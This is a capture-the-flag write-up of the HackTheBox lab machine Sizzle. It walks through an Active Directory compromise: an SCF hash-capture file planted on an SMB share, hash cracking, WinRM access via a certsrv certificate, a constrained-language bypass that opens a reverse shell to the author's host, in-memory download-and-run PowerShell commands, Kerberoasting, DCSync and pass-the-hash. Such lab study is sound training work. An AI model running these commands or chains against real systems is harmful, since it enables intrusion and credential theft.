HackTheBox Write-up: Sizzle

HackTheBox Write-up: Sizzle

This is my write-up for the HackTheBox Machine named Sizzle. I have to give a large thanks to the creators of the machine who have put a lot of effort into it, and allowed me and many others to learn a tremendous amount.

Let's get straight into it!

A TCP scan on all ports reveals the following ports as open:
21,53,80,135,139,389,443,445,464,593,636,3268,3269,5986,9389,47001

So let's do a version scan on all these ports:

# nmap 10.10.10.103 -sV -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5986,9389,47001
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-20 13:55 AEDT
Nmap scan report for 10.10.10.103
Host is up (0.59s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
53/tcp   open  domain?
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
5986/tcp  open     ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open     mc-nmf   .NET Message Framing
47001/tcp open     http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.70%I=7%D=2/20%Time=5C6CC1BB%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows

OK, so at first glance, we can see a HTTP(S) server running, an FTP server running, an LDAP and SMB server, and a bunch of other Windows related services.

Let's start with an enumeration of SMB shares using an anonymous login:

# smbclient -L ////10.10.10.103// -U anonymous -N

Sharename       Type      Comment
ADMIN$          Disk      Remote Admin

C$              Disk      Default share

CertEnroll      Disk      Active Directory Certificate Services share

Department Shares Disk      

IPC$            IPC       Remote IPC

NETLOGON        Disk      Logon server share 

Operations      Disk      

SYSVOL          Disk      Logon server share

So we have a few non-standard shares available to us, including "CertEnroll", "Operations" and "Department Shares".

Let's enumerate HTTP(S) next:

# gobuster -u http://10.10.10.103 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/images (Status: 301)
/Images (Status: 301)
/IMAGES (Status: 301)
# gobuster -u https://10.10.10.103 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
/images (Status: 301)
/Images (Status: 301)
/IMAGES (Status: 301)

Hmmm nothing useful here. Visiting the home page of http://10.10.10.103 simply shows a GIF of some meat sizzling on a hot surface.

Finally, for enumeration, let's enumerate the FTP server:

# ftp 10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
Name (10.10.10.103:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
# ftp> ls -al
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
# ftp> put test.txt 
local: test.txt remote: test.txt
200 PORT command successful.
550 Access is denied.

We find no files publicly available on the FTP server, and get an Access Denied error when trying to upload files.

Unfortunately, this is where I was stuck for a while. I enumerated the different SMB shares and the files and folders inside but found nothing that stood out for initial compromise. The following folders were found in the "Department Shares" share:

# smbclient \\\\10.10.10.103\\Department\ Shares -U anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul  4 01:22:32 2018
  ..                                  D        0  Wed Jul  4 01:22:32 2018
  Accounting                          D        0  Tue Jul  3 05:21:43 2018
  Audit                               D        0  Tue Jul  3 05:14:28 2018
  Banking                             D        0  Wed Jul  4 01:22:39 2018
  CEO_protected                       D        0  Tue Jul  3 05:15:01 2018
  Devops                              D        0  Tue Jul  3 05:19:33 2018
  Finance                             D        0  Tue Jul  3 05:11:57 2018
  HR                                  D        0  Tue Jul  3 05:16:11 2018
  Infosec                             D        0  Tue Jul  3 05:14:24 2018
  Infrastructure                      D        0  Tue Jul  3 05:13:59 2018
  IT                                  D        0  Tue Jul  3 05:12:04 2018
  Legal                               D        0  Tue Jul  3 05:12:09 2018
  M&A                                 D        0  Tue Jul  3 05:15:25 2018
  Marketing                           D        0  Tue Jul  3 05:14:43 2018
  R&D                                 D        0  Tue Jul  3 05:11:47 2018
  Sales                               D        0  Tue Jul  3 05:14:37 2018
  Security                            D        0  Tue Jul  3 05:21:47 2018
  Tax                                 D        0  Tue Jul  3 05:16:54 2018
  Users                               D        0  Wed Jul 11 07:39:32 2018
  ZZ_ARCHIVE                          D        0  Mon Mar 25 12:21:35 2019

		7779839 blocks of size 4096. 2474839 blocks available

In the Users directory, we find:

smb: \> cd Users
smb: \Users\> ls
  .                                   D        0  Wed Jul 11 07:39:32 2018
  ..                                  D        0  Wed Jul 11 07:39:32 2018
  amanda                              D        0  Tue Jul  3 05:18:43 2018
  amanda_adm                          D        0  Tue Jul  3 05:19:06 2018
  bill                                D        0  Tue Jul  3 05:18:28 2018
  bob                                 D        0  Tue Jul  3 05:18:31 2018
  chris                               D        0  Tue Jul  3 05:19:14 2018
  henry                               D        0  Tue Jul  3 05:18:39 2018
  joe                                 D        0  Tue Jul  3 05:18:34 2018
  jose                                D        0  Tue Jul  3 05:18:53 2018
  lkys37en                            D        0  Wed Jul 11 07:39:04 2018
  morgan                              D        0  Tue Jul  3 05:18:48 2018
  mrb3n                               D        0  Tue Jul  3 05:19:20 2018
  Public                              D        0  Wed Sep 26 15:45:32 2018

		7779839 blocks of size 4096. 2474835 blocks available

So we now have a bunch of usernames we can use for future steps i.e. amanda, amanda_adm, bill, bob, chris, henry, joe, jose, lkys37en, morgan and mrb3n. We additionally have a Public folder in the Users folder. Thinking about what user the FTP server is running as, it may be possible that we have write privileges to a Public folder. It is likely that the FTP server is running with least level privileges, but that any user is able to write to a Public folder. We try to place a test.txt file to test this hypothesis:

smb: \Users\Public\> put test.txt 
putting file test.txt as \Users\Public\test.txt (0.0 kb/s) (average 0.0 kb/s)
smb: \Users\Public\> ls
  .                                   D        0  Wed Feb 20 17:12:50 2019
  ..                                  D        0  Wed Feb 20 17:12:50 2019
  test.txt                            A        4  Wed Feb 20 17:12:51 2019

Perfect! Looks like we have write access to this folder! Now we need to figure out what exploit we can use in such a situation. Googling for "smb share write access exploit" leads us to the following article:
https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/

The SCF attack involves using placing a specially crafted SCF file on the shared drive. Then the attack requires that a user on the machine open the folder. From the website above: "When the user will browse the share a connection will established automatically from his system to the UNC path that is contained inside the SCF file." If this is the actual intended vulnerability for initial compromise, then there must be a script running on Sizzle that opens the Public folder. Let's try out the attack and see!

First, we create a SCF file as follows, where 10.10.15.30 is my tun0 IP address:

# cat @mytest.scf 
[Shell]
Command=2
IconFile=\\10.10.15.30\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop

Note that the SCF filename starts with the @ character so that it comes up as the first file when viewed in a directory browser. We then start responder on our attacker machine:

# responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3.3.9

  Author: Laurent Gaffie ([email protected])
  To kill this script hit CRTL-C
  
[+] Listening for events...

We then upload the SCF file to the Public folder:

# smbclient \\\\10.10.10.103\\Department\ Shares -U anonymous -N
smb: \> cd Users\Public
smb: \Users\Public\> put @mytest.scf 
putting file @mytest.scf as \Users\Public\@mytest.scf (0.1 kb/s) (average 0.1 kb/s)

Waiting a minute or two, we receive a hash:

# responder -I tun0
[SMBv2] NTLMv2-SSP Client   : 10.10.10.103
[SMBv2] NTLMv2-SSP Username : HTB\amanda
[SMBv2] NTLMv2-SSP Hash     : amanda::HTB:a54c47483fcc6a20:CE16D8EC24B20C8B9D347AAC24EA327D:0101000000000000C0653150DE09D20122CDF94B8B490287000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000100000000200000E2474A4FC02AD635EC39F0E6F8D60B331F2A24C61353E30C14190A558728F30C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E00310037003100000000000000000000000000

Great! We now have HTB\amanda's hash! Let's try crack it! We'll just use the common rockyou.txt wordlist:

# cat hash
amanda::HTB:a54c47483fcc6a20:CE16D8EC24B20C8B9D347AAC24EA327D:0101000000000000C0653150DE09D20122CDF94B8B490287000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000100000000200000E2474A4FC02AD635EC39F0E6F8D60B331F2A24C61353E30C14190A558728F30C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E00310037003100000000000000000000000000
# john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Ashare1972       (amanda)

Woot! We have our first credentials!

Now to figure out where to use them...

We try Impacket's psexec.py, but unfortunately we don't find any share that is writable by amanda:

# psexec.py HTB/[email protected] dir
Impacket v0.9.13 - Copyright 2002-2015 Core Security Technologies

Password:
[*] Trying protocol 445/SMB...

[*] Requesting shares on 10.10.10.103.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[-] share 'CertEnroll' is not writable.
[-] share 'Department Shares' is not writable.
[-] share 'NETLOGON' is not writable.
[-] share 'Operations' is not writable.
[-] share 'SYSVOL' is not writable.

Looking through all the open ports again, we could possibly try amanda's credentials on the FTP server, or look at the other windows services such as LDAP on port 3268 or WinRM on port 5968.

I'll save the trouble and skip to what actually worked. It took a lot of researching, but I eventually found some very interesting ways to authenticate and interact with WinRM from a linux machine:
https://blog.rapid7.com/2012/11/08/abusing-windows-remote-management-winrm-with-metasploit/
https://4sysops.com/archives/powershell-remoting-between-windows-and-linux/
https://github.com/masterzen/winrm-cli

But I faced problems with all of these! For example powershell on linux and winrm-cli both seemed to only support basic auth, not NTLM auth:
https://www.reddit.com/r/PowerShell/comments/6q2vs9/how_to_connect_to_winrm_powershell_from_linux/
There may be a way to use powershell on linux with NTLM auth, but it looks painful:
https://www.reddit.com/r/PowerShell/comments/6itek2/powershell_remoting_linux_windows_with_spnego/dkahvnf/

I then also realised that the nmap results for port 5968 mentioned that the service was using SSL. So my WinRM client would also have to support SSL.

Googling for "winrm https client linux", I find the following link: https://krash.be/node/29
Here, the writer recommends using a Ruby Gem called winrm for connecting to WinRM from Linux to Windows. This page has great documentation on writing a client as well, so we set one up using the credentials we have:

# cat https-amanda-winrm.rb 
require 'winrm'
opts = { 
  endpoint: 'https://10.10.10.103:5986/wsman',
  user: 'amanda',
  password: 'Ashare1972'
}
conn = WinRM::Connection.new(opts)
conn.shell(:powershell) do |shell|
  output = shell.run('$PSVersionTable') do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
  puts "The script exited with exit code #{output.exitcode}"
end

Running this script gives me the following error:

# ruby https-amanda-winrm.rb
/usr/lib/ruby/vendor_ruby/httpclient/ssl_socket.rb:103:in `connect': SSL_connect returned=1 errno=0 state=error: certificate verify failed (unable to get local issuer certificate) (OpenSSL::SSL::SSLError)

Googling this error, we find that the cause is "when a self-signed certificate cannot be verified", from here.

Additionally, doing a little more research on WinRM with SSL leads us to the following article from Microsoft:
https://support.microsoft.com/en-au/help/2019527/how-to-configure-winrm-for-https
What's important to us is the following line:
"If you have a Microsoft Certificate server you may be able to request a certificate using the web certificate template from HTTPS:///certsrv"

So to summarise, we may need a self signed certificate, and a Microsoft certificate server can be used to request a certificate.

When we try visiting http://10.10.10.103/certsrv we actually find that we are provided with a popup asking for credentials. We enter amanda's credentials and are presented with a web page we haven't seen before. It looks like we can use this page to request a certificate! It's odd that we didn't pick up this site before though. (Turned out that certsrv is not in the directory-list-2.3-medium.txt wordlist, but is in dirb's common.txt wordlist - I've put this in my "General approach" cheatsheet for the future!)

When we go to "Request a Certificate" and then to "Advanced certificate request" we see that we can submit a Certificate Signing Request (CSR) to have our private key signed by the server. The advanced certificate request page is at: http://10.10.10.103/certsrv/certrqxt.asp

We can create our own private key with a CSR using the following command:

# openssl req -new -newkey rsa:2048 -nodes -out dev.csr -keyout dev.key

The above command outputs a private key (dev.key) and a CSR (dev.csr). We can submit the contents of the CSR (including the header and footer) to the Advanced Certificate Request page, and the server will create a certificate for us with a signature approving our private key. We retrieve "certnew.cer" from the server and now should be able to use this for authentication to WinRM. Note that because we logged in to the certsrv portal with amanda's credentials, the private key should now be linked with amanda's account.

Referencing code from the Ruby gem's page again, we set up the following code for authenticating to WinRM using a private key and certificate:

# cat shell-winrm.rb 
require 'winrm'

opts = { 
endpoint: 'https://10.10.10.103:5986/wsman',
transport: :ssl,
:client_cert => 'certnew.cer',
:client_key => 'dev.key',
:no_ssl_peer_verification => true
}

command=""
conn = WinRM::Connection.new(opts)

conn.shell(:powershell) do |shell|
until command == "exit\n" do
print "PS > "
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end

Running this code we get our first shell!

# ruby shell-winrm.rb 
PS > whoami
htb\amanda

OK although we did all that work to get our first shell, unfortunately we still don't have user.txt! Looking around in Amanda's desktop, Documents folder, and Downloads folder, we find nothing of interest.

Let's do some enumeration, starting with systeminfo and looking at the list of other users on the system:

# ruby shell-winrm.rb 
PS > whoami
htb\amanda
PS > systeminfo
Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1
PS > net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            amanda                   DefaultAccount           
Guest                    krbtgt                   mrlky                    
sizzler                  
The command completed with one or more errors.

Interestingly, we aren't allowed to run systeminfo! However, there is a user called sizzler, and another one called krbtgt which straight away stick out. The sizzler account is similar to the name of the machine, and the krbtgt user means that Kerberos authentication is most likely enabled. From our perspective, it means Kerberoasting may be an option to laterally compromise another user.

I would recommend Tim Medin's talk on Kerberoasting as it explains exactly how it works. His slides are also available online. To put it simply, Kerberoasting involves requesting kerberos tickets for services. Part of these tickets may be encrypted with the RC4 algorithm where the private key is the "Kerberos TGS-REP etype 23 hash of the service account associated with the SPN". More details can be found on the MITRE ATT&CK page here. If there is an account associated with an SPN, and has a weak password, we may be able to crack its hash and get back the password.

To start with, we can try to import PowerView into powershell to allow us to use the Invoke-Kerberoast function. PowerView started supporting Kerberoasting a few years ago. So let's try downloading the PowerView.PS1 script onto the box with powershell and then importing it. We can use # python -m SimpleHTTPServer 8081 to start a web server to serve our scripts, and we can get PowerView.PS1 from the PowerSploit github repo. Note that the main branch version doesn't have Invoke-Kerberoast as yet, but the one I linked does. Our result is as follows:

# ruby shell-winrm.rb 
PS > Invoke-WebRequest -Uri "http://10.10.15.30:8081/PowerView.ps1" -OutFile "C:\Users\amanda\Documents\PV.ps1"
PS > Import-Module C:\Users\amanda\Documents\PV.ps1
Importing *.ps1 files as modules is not allowed in ConstrainedLanguage mode.
At line:1 char:1
+ Import-Module C:\Users\amanda\Documents\PV.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [Import-Module], InvalidOperationException
    + FullyQualifiedErrorId : Modules_ImportPSFileNotAllowedInConstrainedLanguage,Microsoft.PowerShell.Commands.ImportModuleCommand

Unfortunately, we get a permission denied error when trying to import PowerView. The error is caused by a feature of PowerShell called "Constrained Language Mode", where not all powershell features are allowed to be performed.

I know there is also a way to directly download and import the PS1 script into memory without needing to store the PS1 file on disk, so we can try that too:

PS > iex (new-object net.webclient).DownloadString('http://10.10.15.30:8081/PowerView.ps1')
Cannot create type. Only core types are supported in this language mode.
At line:1 char:6
+ iex (new-object net.webclient).DownloadString('http://10.10.15.30:808 ...
+      ~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [New-Object], PSNotSupportedException
    + FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand

That didn't work either! Looks like we will have to bypass powershell constrained mode first before moving forward.

Researching a bit on bypassing powershell constrained mode, we find two common ways to bypass it:

Let's git clone padovahh4ck's repo and run the following commands to get ourselves a reverse shell with powershell full language mode:

PS > Invoke-WebRequest -Uri "http://10.10.15.30:8081/PSByPassCLM/PSBypassCLM/PSBypassCLM/bin/x64/Debug/PsBypassCLM.exe" -OutFile "C:\Users\amanda\Documents\bp.exe"

PS > C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.15.30 /rport=443 /U C:\Users\amanda\Documents\bp.exe

And we get a shell on port 443:

# nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.15.30] from (UNKNOWN) [10.10.10.103] 60970
PS C:\Users\amanda\Documents> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\Users\amanda\Documents> whoami
htb\amanda

As we can see above, we now have a shell with FullLanguage mode enabled! Now we can import PowerView again:

PS C:\Users\amanda\Documents> iex (new-object net.webclient).DownloadString('http://10.10.15.30:8081/PowerView.ps1')

To use Invoke-Kerberoast, it's important that our current shell has amanda's kerberos token in memory so that it can be used to request tickets from the domain controller. We run the following commands to perform the kerberoast attack:

PS C:\Users\amanda\Documents> $SecPassword = ConvertTo-SecureString 'Ashare1972' -AsPlainText -Force
PS C:\Users\amanda\Documents> $Cred = New-Object System.Management.Automation.PSCredential('HTB.LOCAL\amanda', $SecPassword)
PS C:\Users\amanda\Documents> Invoke-UserImpersonation -Credential $Cred
PS C:\Users\amanda\Documents> Invoke-Kerberoast -OutputFormat Hashcat | fl

Again it should be noted that we need a special version of PowerView which includes Invoke-UserImpersonation and Invoke-Kerberoast as found here. An example of using Invoke-UserImpersonation can be found on line 2065. The output of Invoke-Kerberoast returns us a kerberos ticket signed with mrlky's hash:

PS C:\Users\amanda\Documents> Invoke-Kerberoast -OutputFormat Hashcat | fl

SamAccountName       : mrlky
DistinguishedName    : CN=mrlky,CN=Users,DC=HTB,DC=LOCAL
ServicePrincipalName : http/sizzle
Hash                 : $krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *506FB86544C2EE265DC9AA32129D4294$9472892CFAD15F5B2604A2F388EFE8BD80E9BE8FA74D6ED40A122475CC18F53F86F536A34544A9B5878E26DE76B309D54A47F594085793EBCB78B4CF444EBE8B8942192773E6FAE540FF2EF5366FF701007F69A9D64C5BD9D820BD9610EFA87A
<-----snip----->

I decided to use the -OutputFormat Hashcat option as I found it easier to crack the hash with hashcat. However, I have to edit the hash a little bit, and looking at hashcat's list of example hashes shows us the format hashcat expects. So we edit the starting of the hash as follows, and then run hashcat to crack it:

# cat hashcat-hash 
$krb5tgs$23$*user$realm$test/spn*$506FB86544C2EE265DC9AA32129D4294$9472892CFAD15F5B2604A2F388EFE8BD80E9BE8FA74D6ED40A12247
<-----snip----->
# hashcat -m 13100 hashcat-hash /usr/share/wordlists/rockyou.txt --force

$krb5tgs$23$*user$realm$test/spn*$506fb86544c2ee265dc9aa32129d4294$9472892cfad15f5b2604a2f388efe8bd80e9be8fa74d6ed40a12247
<-----snip----->
2f9dc27674a0a5f1ade5990:Football#7

We now have the following creds! mrlky:Football#7
We can perform the same steps as we did for amanda to get a shell as mrlky:

  1. create a private key and CSR using openssl
  2. login to the /certsrv portal and login using mrlky's credentials
  3. submit the CSR and get back a certificate showing that the private key is signed by the certificate server
  4. use the winrm ruby library to get a shell as mrlky
# cat shell-winrm-mrlky.rb 
require 'winrm'

opts = { 
endpoint: 'https://10.10.10.103:5986/wsman',
transport: :ssl,
:client_cert => 'mrlky.cer',
:client_key => 'mrkly.key',
:no_ssl_peer_verification => true
}

command=""
conn = WinRM::Connection.new(opts)

conn.shell(:powershell) do |shell|
until command == "exit\n" do
print "PS > "
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end

Running this ruby script gets us a shell from which we can retrieve user.txt:

# ruby shell-winrm-mrlky.rb
PS > whoami
htb\mrlky

PS > pwd
Path                  
----                  
C:\Users\mrlky\Desktop
PS > type user.txt
a6ca1f8*************************

FINALLY! :D


So, let's now move on to privesc!

There are a couple of scripts we can try to look for Windows privilege escalation vectors e.g. PowerUp, BloodHound / SharpHound, or JAWS. PowerUp is for a local machine, while BloodHound is useful for privilege escalating in a domain environment. JAWS is a Windows enumeration script. As PowerUp didn't find anything useful for me, I'll skip to how I got BloodHound working:

BloodHound requires us to first gather information from the compromised host. A tool called SharpHound includes scripts for gathering this information and can be found here.

We use our FullLanguage mode shell to import this ingestor in memory and run it:

PS C:\Users\mrlky.HTB\Documents> iex (new-object net.webclient).DownloadString('http://10.10.15.30:8081/BloodHound/Ingestors/SharpHound.ps1')
PS C:\Users\mrlky.HTB\Documents> Invoke-BloodHound

Unfortunately, our shell just crashes! The script seems to fail silently in the background and doesn't produce any files on the filesystem.

Even trying powershell -v2 failed us, however the error below seems to be caused by a bug in the SharpHound script itself:

# ruby shell-winrm-mrlky.rb
PS > powershell -version 2 -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.30:8081/BloodHound/Ingestors/SharpHound.ps1'); Invoke-BloodHound"
powershell.exe : Invoke : Exception calling "Invoke" with "2" argument(s): "Attempted to read or write protected memory. This is often an indication that other memory is corrupt."

As this isn't working, I started looking for other versions of SharpHound and stumbled across this one hosted in hak5's github repo. This script worked using powershell -v2 for bypassing constrained mode:

PS > powershell -version 2 -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.30:8081/bashbunny-payloads/payloads/library/credentials/Bunnyhound/SharpHound.ps1'); Invoke-BloodHound -CollectionMethod All"
Initializing BloodHound at 9:17 PM on 3/25/2019
Starting Default enumeration for HTB.LOCAL
Status: 57 objects enumerated (+57 5.181818/s --- Using 73 MB RAM )
Finished enumeration for HTB.LOCAL in 00:00:11.7898754
<-----snip----->

Great! We now have a bunch of CSV files as output showing us useful information about the Active Directory environment:

PS > ls
    Directory: C:\Users\mrlky\Downloads
Mode                LastWriteTime         Length Name                         
----                -------------         ------ ----                         
-a----        3/28/2019   2:18 AM          38482 acls.csv                     
-a----        3/28/2019   2:18 AM           5931 BloodHound.bin               
-a----        3/28/2019   2:18 AM            229 computer_props.csv           
-a----        3/28/2019   2:18 AM            354 container_gplinks.csv       
-a----        3/28/2019   2:18 AM           1300 container_structure.csv     
-a----        3/28/2019   2:18 AM           2359 group_membership.csv         
-a----        3/28/2019   2:18 AM            185 local_admins.csv             
-a----        3/28/2019   2:18 AM             61 sessions.csv                 
-a----        3/28/2019   2:18 AM            920 user_props.csv

Having a look at the ACLs file, we can filter for the current user we have and see what access they have:

PS > type acls.csv | findstr MRLKY
[email protected],user,DOMAIN [email protected],group,Owner,,AccessAllowed,False,
[email protected],user,DOMAIN [email protected],group,GenericAll,,AccessAllowed,False,
[email protected],user,Account [email protected],GROUP,GenericAll,,AccessAllowed,False,
[email protected],user,ENTERPRISE [email protected],group,GenericAll,,AccessAllowed,True,
[email protected],user,[email protected],GROUP,WriteOwner,,AccessAllowed,True,
[email protected],user,[email protected],GROUP,WriteDacl,,AccessAllowed,True,
HTB.LOCAL,domain,[email protected],user,ExtendedRight,DCSync,,False,
HTB.LOCAL,domain,[email protected],user,ExtendedRight,GetChanges,,False,
HTB.LOCAL,domain,[email protected],user,ExtendedRight,GetChangesAll,,False,

From the above, we see three special ExtendedRights that have been allocated to our user! Specifically, the GetChanges Access Control Entry, the GetChangesAll entry and the DCSync entry.

The one that stands out straight away is DCSync! Using DCSync, which effectively "impersonates" a Domain Controller, we can request account password data from the targeted Domain Controller. Effectively, this access allows us to replicate the data from a domain controller (hence "sync"). We can use the Invoke-DCSync script to utilise this feature:

PS > powershell -version 2 -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.30:8081/Invoke-DCSync.ps1'); Invoke-DCSync | Format-Table -Wrap"
<-----snip----->
Domain                   User                     ID                       Hash                   
------                   ----                     --                       ----                   
HTB.LOCAL                krbtgt                   502                      296ec447eee58283143efbd5d39408c8              
HTB.LOCAL                Administrator            500                      f6b7160bfc91823792e0ac3a162c9267              
HTB.LOCAL                Guest                    501                      -                      
HTB.LOCAL                amanda                   1104                     7d0516ea4b6ed084f3fdf71c47d9beb3              
HTB.LOCAL                mrlky                    1603                     bceef4f6fe9c026d1d8dec8dce48adef              
HTB.LOCAL                sizzler                  1604                     d79f820afad0cbc828d79e16a6f890de

WOOT! We now have the hashes for each user! And we use Administrator's hash to get root.txt:

# wmiexec.py -hashes :f6b7160bfc91823792e0ac3a162c9267 [email protected]
Impacket v0.9.13 - Copyright 2002-2015 Core Security Technologies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator

C:\Users\administrator\Desktop>type root.txt
91c5849*************************

All done! What a learning experience! Thank you to @mrb3n and @lkys37en for such an amazing box.

I hope you all enjoyed the write-up!


Live and Learn!

Many tools for Pass-The-Hash attacks: https://www.hacklikeapornstar.com/all-pth-techniques/
Common Active Directory Attacks: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Active Directory Attack.md

P.S. As an alternative, I also used Invoke-Mimikatz to utilise the DCSync feature to extract the Administrator's hash. The version of the script I used can be found here, although I had a few problems with it. Specifically, the following two articles helped me fix the bugs I was having:

Once I had these lines fixed, I ran the following commands from my FullLanguage mode powershell shell and got Administrator's hash:

PS C:\Users\mrlky.HTB\Documents> iex (new-object net.webclient).DownloadString('http://10.10.12.151:8081/Invoke-Mimikatz.ps1')
PS C:\Users\mrlky.HTB\Documents> Invoke-Mimikatz -Command '"lsadump::dcsync /user:Administrator"'